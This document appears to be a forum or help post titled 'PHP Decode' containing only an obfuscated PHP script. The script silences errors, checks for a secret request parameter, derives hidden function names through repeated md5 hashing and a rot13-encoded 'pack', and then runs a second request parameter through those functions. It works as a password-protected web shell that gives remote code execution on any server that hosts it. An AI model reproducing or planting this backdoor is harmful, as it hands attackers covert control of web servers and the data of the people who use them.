PHP Decode

<?php 
@error_reporting(0); 
$p=str_rot13("cnpx"); 
if(!isset($_REQUEST[pack("L",1936941424)]))exit(); 
$h=$_REQUEST[pack("L",1936941424)]; 
for($i=0;$i<10000;$i++)$h=md5($h,1); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e=$p("L",4336671913-$t[1]).$p("S",86171-$t1[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e1=$p("L",2317167118-$t[1]).pack("L",2350657810-$t[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$fex=$p("L",2029019048-$t[1]).$p("L",2213630902-$t[1]).$p("L",2130333601-$t[1]).$p("S",89781-$t1[1]).$p("C",181-$t2[1]); 
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h); 
$r=$_REQUEST[$p("L",4994670222-$t[1])]; 
if($fex($e)){$e($r);} 
else if($fex($e1)){$e1($r);} 
?>